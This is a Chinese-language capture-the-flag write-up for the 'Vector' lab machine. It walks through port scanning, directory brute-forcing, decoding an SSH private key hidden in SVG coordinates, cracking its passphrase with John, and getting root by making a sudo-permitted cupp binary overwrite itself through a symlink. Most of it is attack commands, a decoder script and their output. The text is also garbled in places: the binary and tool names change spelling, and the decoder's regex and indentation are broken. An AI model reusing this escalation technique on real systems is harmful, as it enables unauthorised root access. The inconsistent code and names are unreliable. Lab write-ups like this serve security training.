

Vector 靶机 WriteUp

一、靶机信息

项目	内容
靶机名称	Vector
操作系统	Alpine Linux (kernel 7.1.5-0-stable)
开放端口	22/tcp OpenSSH 10.3; 80/tcp Apache httpd 2.4.67 (Unix)
攻击目标	通过 SVG 隐写获取 SSH 私钥 → 破解口令登录 → 滥用 <code>cupp</code> 提权至 root

二、攻击链概览



- 1 信息收集 → Web 目录枚举 → SVG 隐写分析 → 提取加密私钥 → John 破解口令
- 2 → SSH 登录获取 `user.txt` → `sudo` 枚举发现 `cupp` → 符号链接覆盖 `cupp`
- 3 → 构造恶意字典触发 `root` 执行 → 获取 `root shell`

三、攻击步骤

1. 信息收集

使用 Nmap 进行全端口扫描与服务识别：



Bash

```
1 nmap -Pn -T4 -p- --min-rate 3000 -oN nmap_allports.txt 192.168.3.173
```

```
2 nmap -Pn -sV -sC -p 22,80 -oN nmap_svc.txt 192.168.3.173
```

结果:

```
1 PORT      STATE SERVICE VERSION
2 22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
3 80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
4 |_http-title: Birmingham City Guide
```

“

知识点: Alpine Linux 使用 musl libc 与 OpenRC, 与常见 Debian/Ubuntu 靶机在提权路径上存在差异, 需关注其特有工具链。

2. Web 目录枚举与线索发现

使用 feroxbuster 进行目录爆破, 并抓取首页与关键资源:

```
1 feroxbuster -u http://192.168.3.173/ -w
  /usr/share/seclists/Discovery/Web-Content/raft-medium-
  directories.txt \
2 -x php,html,txt,svg,js,bak,zip -t 40 -d 4 -o ferox1.txt
3 curl -s http://192.168.3.173/ -o index.html
4 curl -s http://192.168.3.173/birmingham.svg -o birmingham.svg
```

Bash

首页尾部注释暴露了唯一线索:

```
1 grep -i steg index.html
```

Bash

1 <!-- Steganography -->

“

知识点：SVG 作为 XML 矢量图，其 `<path d="...">` 属性包含大量浮点坐标，是隐写的理想载体。常见 SVG 隐写工具有 `svgsploit`、`svgsteg`、`StegVG` 等。

3. 确认 SVG 隐写类型

先排除显式隐藏与嵌入对象：

```
1 grep -c 'display:none\\|visibility:hidden\\|opacity:0'
  birmingham.svg      # 0
2 grep -oE '<(image|script|foreignObject|use|marker) '
  birmingham.svg      # 无嵌入对象
3 grep -aoiE 'flag\\{|password|ssh-rsa|BEGIN [A-Z ]*KEY'
  birmingham.svg      # 无关键词
```

Bash

说明隐写并非通过隐藏元素或明文关键词实现，而是利用数值本身编码信息。

4. 比对载体，定位编码规律

拉取公开 SVG 隐写工具并与其内置样本比对：

```
1 mkdir -p /root/svgtools && cd /root/svgtools
2 git clone --depth 1
  https://github.com/therealsaumil/svgsploit.git
3 git clone --depth 1 https://github.com/japplebaum/svgsteg.git
4 git clone --depth 1 https://github.com/DavidArsene/StegVG.git
```

Bash

```
5 ls -la svgsploit/svg_src/birmingham.svg
```

两份文件浮点数小数位分布对比：

```
Python

1 import re
2 from collections import Counter
3 rx = re.compile(r'[-+]?[d*]\.\d+')
4 for f in ['/root/svgtools/svgsploit/svg_src/birmingham.svg',
           '/root/173/birmingham.svg']:
5     d = open(f, encoding='utf-8', errors='replace').read()
6     c = Counter(len(x.split('.')[1]) for x in rx.findall(d))
7     print(f, sum(c.values()), dict(sorted(c.items())))
```

```
1 ... svg_src/birmingham.svg 11597 {1: 330, 2: 758, 3: 933, 4:
  6562, 5: 2458, 6: 496, 7: 55, 8: 5}
2 ... /root/173/birmingham.svg 11597 {1: 329, 2: 758, 3: 901, 4:
  6269, 5: 2410, 6: 528, 7: 348, 8: 53, 9: 1}
```

“

知识点：目标文件小数位整体右移 3 位，说明编码器在每个原始数字尾部追加了 3 位十进制数作为隐写载荷。首值末 5 位存储数据长度，其后每个浮点数末 3 位对应一个字节，最终数据经 gzip 压缩。

5. 复刻解码器提取私钥

根据 svgsploit.js 的 `decodeStego` 逻辑，用 Python 实现解码 + gunzip：

```
Python

1 #!/usr/bin/env python3
```

```

2 import re, gzip, sys
3 import xml.etree.ElementTree as ET
4
5 def decode(svgfile):
6     root = ET.parse(svgfile).getroot()
7     d_attrs = [el.get('d') for el in root.iter()
8                 if el.tag.split('}')[1] == 'path' and
9                 el.get('d')]
10    float_re = re.compile(r'-?\d+\.\d+')
11    floats = []
12    for d in d_attrs:
13        floats.extend(float_re.findall(d))
14    arrayLength = int(floats[0][-5:]) # 首值末 5 位 = 长
    度
15    out, i = bytearray(), 0
16    for s in floats[1:]:
17        out.append(int(s[-3:])) # 其后每值末 3 位 =
    一个字节
18    if i == arrayLength:
19        break
20    i += 1
21    return bytes(out)
22 raw = decode(sys.argv[1])
23 print(gzip.decompress(raw).decode('utf-8', errors='replace'))

```

执行解码：

```

1 python3 svgo_decode.py birmingham.svg

```

输出为加密的 OpenSSH 私钥：

```

1 -----BEGIN OPENSSH PRIVATE KEY-----
2 b3BlbnNzaC1rZXktdjEAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABANw
3 rPMZ

```

```
3 JPt/ONdXDIVoaXAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIDQ4oW7qFrn
  2UAhJ
4 ...
5 xRUzlxlbSNvbdTsRdFPhqNt+XlIwqYAGMdi0k=
6 -----END OPENSsh PRIVATE KEY-----
```

6. 私钥口令破解与 SSH 登录

将私钥转换为 John 可识别格式并爆破：

```
1 ssh2john id_key > id_key.hash
2 john --wordlist=rockyou.txt id_key.hash
```

结果：

```
1 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSsh
  32/64])
2 Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for
  all loaded hashes
3 Cost 2 (iteration count) is 24 for all loaded hashes
4 ...
5 love123          (id_key)
6 1g 0:00:00:20 DONE (2026-09-26 21:54) 0.04803g/s 16.90p/s
  16.90c/s 16.90C/s smokey..andreea
```

“

知识点：OpenSSH 私钥可设置加密口令，`ssh2john` 提取哈希后可用 John/Hashcat 离线爆破。bcrypt KDF 迭代次数较高时爆破速度会明显下降。

验证并去口令以便复用：



Bash

```
1 ssh-keygen -y -P love123 -f id_key
```



```
1 ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIDQ4oW7qFrn2UAhJt8QoXfxA00bX0K7MigyhEkSMW
9G4 xiaomai@Vector
```



Bash

```
1 ssh-keygen -p -P 'love123' -N '' -f id_key
2 ssh -i id_key xiaomai@192.168.3.173
3 id; hostname; uname -a
4 cat ~/user.txt
```

成功获取 `user.txt`。

7. 提权枚举

检查当前用户 `sudo` 权限：



Bash

```
1 sudo -l
```



```
1 User xiaomai may run the following commands on Vector:
2 (ALL) NOPASSWD: /usr/bin/cupc
```

“

知识点: `cupp` 是一款常见密码字典生成工具。其危险点在于: 交互式询问文件名并写入当前目录, 若当前目录中已存在同名符号链接, 则以 `root` 权限覆盖链接目标文件。

8. 利用符号链接覆盖 `cupp` 自身

在 `xiaomai` 家目录创建指向 `/usr/bin/cupp` 的符号链接 `a.txt`:

```
Bash
1 cd /home/xiaomai
2 ln -svf /usr/bin/cupp a.txt
3 sudo /usr/bin/cupp -i
```

交互输入 (前三项决定文件名与字典内容, 后四项开关决定字典条目类型):

```
1 > First Name: a
2 > Surname: bb/
3 > Nickname:
4 > Birthdate (DDMMYYYY):
5 > Partner's Name:
6 > Nickname:
7 > Partner's Birthdate (DDMMYYYY):
8 > Child's Name:
9 > Child's Nickname:
10 > Child's Birthday (DDMMYYYY):
11 > Pet's Name:
12 > Company Name:
13 > Do you want to add some keywords about the target ? [y/n] (n):
n
14 > Do you want to add special chars at the end of the words?
[y/n] (n): y
15 > Do you want to add random numbers at the end of the words?
[y/n] (n): y
```

```
16 > Leet mode ? (i.e. leet = 1337) [y/n] (n): n
```



```
1 [+] Wordlist (a.txt) Created and Saved...
2 [+] Wordlist a.txt saved with 260 words.
```

由于 `a.txt` 是指向 `/usr/bin/cupp` 的符号链接, `cupp` 以 root 写入时实际覆盖了自身:



Bash

```
1 head /usr/bin/cupp
```



```
1 ABb/
2 ABb/,
3 ABb/0
4 ABb/1
5 ...
```

9. 触发执行获取 root

构造可执行文件并触发 sudo 运行:



Bash

```
1 mkdir -p ABb
2 cp /bin/bash ABb/0
3 sudo /usr/bin/cupp
```

“

知识点: `/usr/bin/cuppp` 被覆盖后已无 shebang, sudo 默认交由 `/bin/sh` 逐行解释执行。字典中第三行 `ABb/0` 恰好是相对路径, 且该文件已被替换为 bash, 因此以 root 身份执行, 直接获得 root shell。



```
1 /usr/bin/cuppp: line 1: ABb/: Permission denied
2 /usr/bin/cuppp: line 2: ABb/,: not found
```



```
1 uid=0(root) gid=0(root)
  groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),1
  1(floppy),20(dialout),26(tape),27(video)
```

成功提权至 root。

四、知识点总结

环节	关键知识点
信息收集	Nmap 全端口扫描、服务版本识别、Alpine Linux 环境特征
Web 枚举	feroxbuster 目录爆破、HTML 注释信息泄露
SVG 隐写	<code><path d></code> 浮点坐标编码、末位数字载荷、首值长度字段、gzip 压缩、svgoexploit 解码逻辑复刻
私钥破解	ssh2john + John the Ripper、bcrypt KDF 迭代、rockyou 字典
Linux 提权	sudo 配置审计、cuppp 符号链接覆盖、无 shebang 脚本被 <code>/bin/sh</code> 解释执行
攻击链设计	从 Web 隐写到 SSH 登录再到本地提权, 形成完整闭环

五、参考链接

- svgoexploit: [🔗 https://github.com/therealsaumil/svgoexploit](https://github.com/therealsaumil/svgoexploit)
- svgsteg: [🔗 https://github.com/japplebaum/svgsteg](https://github.com/japplebaum/svgsteg)
- StegVG: [🔗 https://github.com/DavidArsene/StegVG](https://github.com/DavidArsene/StegVG)
- cupp: [🔗 https://github.com/Mebus/cupp](https://github.com/Mebus/cupp)